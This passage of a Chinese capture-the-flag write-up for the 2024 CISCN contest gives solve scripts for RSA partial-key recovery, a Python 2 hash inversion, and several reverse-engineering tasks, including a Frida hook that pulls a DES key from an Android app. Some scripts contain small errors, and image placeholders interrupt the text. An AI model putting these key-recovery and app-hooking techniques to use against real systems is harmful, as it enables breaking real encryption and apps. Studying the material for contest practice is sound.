p_high = int(x[0]) >> 4 << 4
p = partial_p(p_high, n, bits)
if p and p != 1:
return p
# Calculating rr and kk based on given e and n
rr = e // n
kk = rr - 2
# Finding p
p = find_p(e, n, 200)
if p:
q = n // p
phi_n = (p - 1) * (q - 1)
# Computing the new e based on kk and rr
new_e = 65537 + kk * p + rr * ((p + 1) * (q + 1)) + 1
# Computing the private key d
d = inverse_mod(new_e, phi_n)
# Decrypting the ciphertext
m = power_mod(c, d, n)
print(bytes.fromhex(hex(m)[2:]))
else:
print("Failed to find p.")
2024 ciscn WP
拿到 flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c}

2、古典密碼

密文:AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9
三層解密:埃特巴什+base64+柵欄
2024 ciscn WP

拿到 flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}

3.ez_rsa

題目描述:
ezrsa.py:
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
import random
from secret import flag

m = bytes_to_long(flag)
key = RSA.generate(1000)
passphrase = str(random.randint(0,999999)).zfill(6).encode()
output = key.export_key(passphrase=passphrase).split(b'\n')
for i in range(7, 15):
output[i] = b'*' * 64
with open("priv.pem", 'wb') as f:
for line in output:
f.write(line + b'\n')
with open("enc.txt", 'w') as f:
f.write(str(key._encrypt(m)))

enc.txt:
55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989
priv.pem:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,435BF84C562FE793

9phAgeyjnJYZ6lgLYflgduBQjdX+V/Ph/fO8QB2ZubhBVOFJMHbwHbtgBaN3eGlh
WiEFEdQWoOFvpip0whr4r7aGOhavWhIfRjiqfQVcKZx4/f02W4pcWVYo9/p3otdD
ig+kofIR9Ky8o9vQk7H1eESNMdq3PPmvd7KTE98ZPqtIIrjbSsJ9XRL+gr5a91gH
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
hQds7ZdA9yv+yKUYv2e4de8RxX356wYq7r8paBHPXisOkGIVEBYNviMSIbgelkSI
jLQka+ZmC2YOgY/DgGJ82JmFG8mmYCcSooGL4ytVUY9dZa1khfhceg==
-----END RSA PRIVATE KEY-----
題目分析:
第一部分先略過吧,不想看
直接跳到後面階段
得到的資料有:
n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81
e = 0x10001
inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d
dqlow = 0x8f2363b340e5

4.checkin

題目描述:
from Crypto.Util.number import *
from secret import flag

p = getPrime(512)
q = getPrime(512)
n = p*q
x = 2021*p+1120*q
h = (inverse(x,n)+x)%n
e = 65537
c = pow(bytes_to_long(flag), e, n)

print('n =', n)
print('c =', c)
print('h =', h)
print('p0 =', p >> 490)

# n = 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793
# c = 119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833
# h = 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806
# p0 = 4055618
題目分析:
已知:
2024 ciscn WP
2024 ciscn WP
現在的重點是small_roots()裡面的引數要怎麼設定
先來點前置知識(怕自己又忘了):
2024 ciscn WP
2024 ciscn WP
在方程F(x),模數N確認的情況下,我們可以透過增加 β \betaβ 的取值或減小 ϵ \epsilonϵ 的取值,使得X取到更優的上界。
2024 ciscn WP
現在,已知d = 2,beta = 1,X有500位未知,我們取epsilon = 0.01是完成能夠得到結果的,但我們也知道epsilon越小,耗時越長,我們試著把epsilon調大一點,讓epsilon = 0.02,看看能否出結果。經過測試也是能出結果的,那麼就用它啦
把x_diff求出來了,後面就簡單了,這也就不多說了
from Crypto.Util.number import long_to_bytes

N = 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793
c = 119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833
h = 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806
p0 = 4055618

p_high = p0 << 490
x0 = 2021 * p_high + 1120 * (N // p_high)

P.<x_diff> = PolynomialRing(Zmod(N))
f = (x0 + x_diff)^2 + 1 - h * (x0 + x_diff)

res = f.small_roots(X = 2^500, epsilon = 0.02)
x_diff = Integer(res[0])

x = x0 + x_diff

p = var('p')
q = var('q')
res = solve([x == 2021 * p + 1120 * q, N == p * q], p, q)
print(res)
p = Integer(res[0][0].rhs()) # 提取等號右邊部分
q = Integer(res[0][1].rhs())

d = inverse_mod(65537, (p - 1) * (q - 1))
print(long_to_bytes(int(pow(c,d,N))))
進入主題
國賽ez_rsa
題目描述:
(就擷取這麼一點點了)
n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81
e = 65537
inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d
dqlow = 0x8f2363b340e5

題目分析:

方式1

2024 ciscn WP
解方程的過程和上題的思路應該來說是一樣的
這裡也是d = 2,beta = 1,所以關鍵部分還是落在了epsilon 的取值上,這個就自己去生成資料測一測,從0.05往上加,發現到0.09以後解集為空,那麼設定成0.09就行
from Crypto.Util.number import *
from tqdm import *

n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81
e = 0x010001
dqlow = 0x8f2363b340e5
inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d
c = 55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989
bits = 48

PR.<x> = PolynomialRing(Zmod(n))
dq = (2 ^ bits * x) + dqlow
# k = 47794
for k in trange(e,1,-1):
f = inv * (e * (2 ^ bits * x + dqlow) - 1 + k) ^ 2 - k * (e * (2 ^ T * x + dqlow) - 1 + k)
f = f.monic()
root = f.small_roots(X=2 ^ (512 - bits), epsilon = 0.09)
if root:
dq = int(root[0]) * 2 ** bits + dqlow
q = int((e * dq - 1) // k + 1)
p = int(n // q)
phi = (p - 1) * (q - 1)
d = inverse_mod(e,phi)
print(long_to_bytes(int(pow(c,d,n))))
break



from Crypto.Util.number import long_to_bytes

方式2
2024 ciscn WP
from tqdm import *
from Crypto.Util.number import *
n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81
inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d
c = 55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989
dq_low = 0x8f2363b340e5
q_low = []
bits = 48
e = 65537
qq = var('qq')

PR.<x> = PolynomialRing(Zmod(n))
# k = 47794
for k in trange(e,1,-1):
k = 47794
q0 = solve_mod([e * dq_low == k * qq - k + 1], 2^bits)
for i in q0:
f = inv * (2 ^ bits * x + int(i[0])) ^ 2 - (2 ^ bits * x + int(i[0]))
f = f.monic()
root = f.small_roots(X = 2^(512-bits), epsilon = 0.09)
if root:
q = 2^bits * int(root[0]) + int(i[0])
p = n // q
d = inverse_mod(e,(p - 1) * (q - 1))
print(long_to_bytes(int(pow(c,d,n))))
break
# flag{df4a4054-23eb-4ba4-be5e-15b247d7b819}

5.hash

題目描述
你能僅僅透過一個Python2.7自帶的hash函式的輸出,計算出它的原象的sha384雜湊值嗎?
解題思路
將壓縮包解壓後,含有兩個檔案,分別是 hash.py 、 output.txt 。
hash.py
#!/usr/bin/python2
# Python 2.7 (64-bit version)
from secret import flag
import os, binascii, hashlib
key = os.urandom(7)
print hash(key)
print int(hashlib.sha384(binascii.hexlify(key)).hexdigest(), 16) ^ int(binascii.hexlify(flag), 16)
output.txt
7457312583301101235
13903983817893117249931704406959869971132956255130487015289848690577655239262013033618370827749581909492660806312017
output.txt 的兩行資料分別是 hash.py 中的兩行輸出。
根據原始碼邏輯,可以知道首要問題是如何將 k e y keykey 的密文,解密出原文。
透過查詢 python2.7 的內建 hash 函式,可以搜尋到相關資訊:
python3 中的 hash 函式相對於 python2 ,不同在於 python3 中會對要加密的字串的運算新增 prefix 和 suffix ,而 python2 預設不會新增。
透過 github 上 python2.7 開原始碼,找到 python2.7 中 str 型別的 hash 計算原始碼,部分程式碼如下:
static long
string_hash(PyStringObject *a)
{
register Py_ssize_t len;
register unsigned char *p;
register long x;

#ifdef Py_DEBUG
assert(_Py_HashSecret_Initialized);
#endif
if (a->ob_shash != -1)
return a->ob_shash;
len = Py_SIZE(a);
/*
We make the hash of the empty string be 0, rather than using
(prefix ^ suffix), since this slightly obfuscates the hash secret
*/
if (len == 0) {
a->ob_shash = 0;
return 0;
}
p = (unsigned char *) a->ob_sval;
x = _Py_HashSecret.prefix;
x ^= *p << 7;
while (--len >= 0)
x = (1000003*x) ^ *p++;
x ^= Py_SIZE(a);
x ^= _Py_HashSecret.suffix;
if (x == -1)
x = -2;
a->ob_shash = x;
return x;
}
將其邏輯再編寫成一個簡易的函式方便測試,程式碼如下:
ll h(char *s, ll len) {
ll res = 0;
res ^= (s[0] << 7LL);
for(int i = 0; i < len; ++i) {
res = (res * 1000003ull) ^ (unsigned )s[i];
}
res ^= len;
return res;
}
現在進行解密演算法的尋找,可以解密關鍵在於將表示式
2024 ciscn WP
2024 ciscn WP
解密程式碼如下:
vector<unsigned> uh(ull d) {
d ^= 7;
ull res = d;
for(ull i7 = 0; i7 < 256u; ++i7)
for(ull i6 = 0; i6 < 256u; ++i6)
for(ull i5 = 0; i5 < 256u; ++i5) {
ull res_6 = (res ^ i7) * iv; //iv 是1000003在模數2^64下的逆元
ull res_5 = (res_6 ^ i6) * iv;
ull res_4 = (res_5 ^ i5) * iv;
vector<int> a(3);
a[0] = i7;
a[1] = i6;
a[2] = i5;
Hashmap[res_4] = a;
}

for(ull i1 = 0; i1 < 256u; ++i1)
for(ull i2 = 0; i2 < 256u; ++i2)
for(ull i3 = 0; i3 < 256u; ++i3)
for(ull i4 = 0; i4 < 256u; ++i4) {
ull res_1 = ((i1 << 7) * v) ^ i1; //v 是1000003
ull res_2 = (res_1 * v) ^ i2;
ull res_3 = (res_2 * v) ^ i3;
ull res_4 = (res_3 * v) ^ i4;
if(Hashmap.find(res_4)!=Hashmap.end()){
return vector<unsigned>{i1,i2,i3,i4,Hashmap[res_4][2], Hashmap[res_4][1], Hashmap[res_4][0]};
}
}
}
具體公式推導涉及同餘方程、逆元等知識。
程式碼執行完畢得到密文的 ascii 為 93 140 240 63 90 8 82
key = ']\x8c\xf0?Z\x08R'
pre = int(hashlib.sha384(binascii.hexlify(key)).hexdigest(), 16)
ans = 13903983817893117249931704406959869971132956255130487015289848690577655239262013033618370827749581909492660806312017
flag = ans ^ pre
flag = hex(flag)
print flag
flag 的16進製為 666c61677b62646235333761612d383765662d346539352d626561342d3266373932353962646430377d
使用線上16進位制轉字元網站計算,得到 flag 原文為 flag{bdb537aa-87ef-4e95-bea4-2f79259bdd07}

四、Reverse

1、asm_re

下載得到txt檔案,開啟發現是ida跑出來的arm的彙編程式碼,再結合題目名稱,這題應該是要讀彙編程式碼了
2024 ciscn WP
找到關鍵部分,整理一下
2024 ciscn WP
資料存在__const段裡,注意小端法提取一下
2024 ciscn WP
然後就可以指令碼解出了
exp:
decodechr=''
flag=''
enc=[0x1fd7,0x21b7,0x1e47,0x2027,0x26e7,0x10d7,0x1127,0x2007,0x11c7,0x1e47,0x1017,0x1017,0x11f7,0x2007,0x1037,0x1107,0x1f17,0x10d7,0x1017,0x1017,0x1f67,0x1017,0x11c7,0x11c7,0x1017,0x1fd7,0x1f17,0x1107,0x0f47,0x1127,0x1037,0x1e47,0x1037,0x1fd7,0x1107,0x1fd7,0x1107,0x2787]
for i in enc:
decodechr=chr((((i-0x1e)^0x4d)-0x14) // 0x50)
flag+=decodechr
print((flag))
'
執行執行
拿到:flag{67e9a228e45b622c2992fb5174a4f5f5}

2、androidso_re

用jadx開啟,定位到mainactivity
2024 ciscn WP

使用函式legal進行了判斷,函式里使用了方法inspect,檢視一下
2024 ciscn WP

這裡關鍵的兩個引數就是key和iv,解壓安裝包看看so
2024 ciscn WP

直接hook
function main() {
Java.perform(function () {
Java.enumerateClassLoaders({
onMatch: function (loader) {
try {
var factory = Java.ClassFactory.get(loader);
var CheckerClass = factory.use("com.example.re11113.inspect");
var key = CheckerClass.getKey();
console.log("Key: " + key);
} catch (e) {
// console.log("Error accessing class or method: " + e);
}
},
onComplete: function () {}
});
});
}
setTimeout(main,1000);
package ciscn;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.Base64;
public class FlagDecryptor {
private static final String ALGORITHM = "DES/CBC/PKCS5Padding";
private static final String CHARSET = StandardCharsets.UTF_8.name();
public static void main(String[] args) {
try {
String encryptedFlag = "JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw==";
String decryptedString = decryptFlag(encryptedFlag);
System.out.println("Decrypted string: " + decryptedString);
} catch (Exception e) {
System.err.println("Decryption failed: " + e.getMessage());
}
}
private static String decryptFlag(String encryptedFlag) throws Exception {
byte[] keyBytes = JniUtils.getKey().getBytes(CHARSET);
byte[] ivBytes = JniUtils.getIv().getBytes(CHARSET);
SecretKeySpec key = new SecretKeySpec(Arrays.copyOf(keyBytes, 8), "DES");
IvParameterSpec iv = new IvParameterSpec(ivBytes);
Cipher cipher = Cipher.getInstance(ALGORITHM);
cipher.init(Cipher.DECRYPT_MODE, key, iv);
byte[] encryptedBytes = Base64.getDecoder().decode(encryptedFlag);
byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
return new String(decryptedBytes, CHARSET);
}
static class JniUtils {
public static String getKey() {
return "A8UdWaeq";
}
public static String getIv() {
return "Wf3DLups";
}
}
}

2024 ciscn WP

flag{188cba3a5c0fbb2250b5a2e590c391ce}

3、whereThel1b

開啟py檔案
2024 ciscn WP
邏輯很清晰,主要的加密內容肯定是在so檔案裡面
2024 ciscn WP
這個檔案有很強的python編譯特徵,可以考慮進行反編譯
2024 ciscn WP
2024 ciscn WP
特徵函式,編寫exp:

import base64
import random
random.seed(0)
encry = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]
keys = [random.randint(0, len(encry)) for _ in range(len(encry))]
flag = [k ^ e for k, e in zip(keys, encry)]
decoded_flag = base64.b64decode(''.join(map(chr, flag)).encode()).decode()
print(decoded_flag)
'
執行執行
flag{7f9a2d3c-07de-11ef-be5e-cf1e88674c0b}

4.gdb_debug

用IDA反編譯,定位main函式,可以發現程式邏輯為:
在這裡插入圖片描述
輸入str,將str每一個字元異或一個隨機數,得到str2
在這裡插入圖片描述

定義str3,隨機交換洗牌,得到一個0-38的隨機不重複的序列
在這裡插入圖片描述


根據str3,得到str4,使得str4[i]=str2[str[3]]
在這裡插入圖片描述
將str4每一個字元異或一個隨機數
在這裡插入圖片描述


根據str4,得到s1,使得s1[i]=str4[i]^byte_5636B30010A0,其中byte_5636B30010A0固定且已給出
在這裡插入圖片描述
將s1與s2作對比,若相同,則輸入flag正確,其中s2為"congratulationstoyoucongratulationstoy"
在這裡插入圖片描述

這個程式的特性在於,在置隨機數種子時,使用的是當前時間按位與0xF0000000的結果為種子,使得種子在很長一段時間執行時都相同。
在這裡插入圖片描述

基於此,我們可以提前求出要用到的隨機數(要在Linux系統上執行,與Win的rand()邏輯不同):

srand(((int)time(0))& 0xF0000000);
char rand1[38];
unsigned int rand2[38],rand3[38];
for(int i=0;i<len;i++)
{
rand1[i] = rand();
// cout << (unsigned int)(rand1[i]&0xff) << " ";
}
for(int i=len-1;i;--i)
{
rand2[i] = rand()%(i+1);
// cout << (unsigned int)(rand2[i]&0xff) << " ";
}
for(int i=0;i<len;i++)
{
rand3[i] = rand();
}
然後根據上面所述步驟,反過來計算一遍,完整程式碼如下:
# Run in linux
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <cctype>
#include <cmath>
#include <vector>
#include <algorithm>
#include <stack>
#include <set>
#include <map>
#include <ctime>
#include <unistd.h>
#include "defs.h"
// #include <bits/stdc++.h>

using namespace std;
typedef long long LL;
typedef long double DD;

int main()
{
srand(((int)time(0))& 0xF0000000);
char s2[] = "congratulationstoyoucongratulationstoy";
unsigned char byte_10A0[] = {
0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88,
0x04, 0xD7, 0x12, 0xFE, 0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 0x9D, 0x4D,
0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78, 0x00, 0x00
};
char rand1[38];
unsigned int rand2[38],rand3[38];
int len = strlen(s2);
cout << "len:" << len << endl;
for(int i=0;i<len;i++)
{
rand1[i] = rand();
// cout << (unsigned int)(rand1[i]&0xff) << " ";
}
for(int i=len-1;i;--i)
{
rand2[i] = rand()%(i+1);
// cout << (unsigned int)(rand2[i]&0xff) << " ";
}
for(int i=0;i<len;i++)
{
rand3[i] = rand();
}
for(int i=0;i<len;i++)
{
s2[i] ^= byte_10A0[i];
}

for(int i=0;i<len;i++)
{
s2[i] ^= rand3[i];
}

int str3[39];
for(int i=0;i<len;i++)
{
str3[i] = i;
}

for(int i=len-1;i;--i)
{
int temp = str3[i];
str3[i] = str3[rand2[i]];
str3[rand2[i]] = temp;
}

//s2[i]=str2[str3[i]];
char str2[39] = {0};
for(int i=0;i<len;i++)
{
str2[str3[i]] = s2[i];
}
for(int i=0;i<len;i++)
{
str2[i] ^= rand1[i];
}
cout << str2;
return 0; //-22 61 13 92
}
在Linux上執行,得到flag:
在這裡插入圖片描述




附件題目地址:連結: https://pan.baidu.com/s/1q-SEU_4WnD9o2ZUn9b6tDw 提取碼: jdur


參考轉自原文連線地址:
https://blog.csdn.net/CHTXRT/article/details/139051214
https://blog.csdn.net/uuzeray/article/details/139052904
https://xz.aliyun.com/t/14556

https://blog.csdn.net/weixin_62467741/article/details/139122071
https://blog.csdn.net/CHTXRT/article/details/139051214
https://blog.csdn.net/Jayjay___/article/details/139047540
https://blog.csdn.net/Myon5/article/details/139046502
https://blog.csdn.net/XiongSiqi_blog/article/details/139064568
https://blog.csdn.net/althumi/article/details/139077709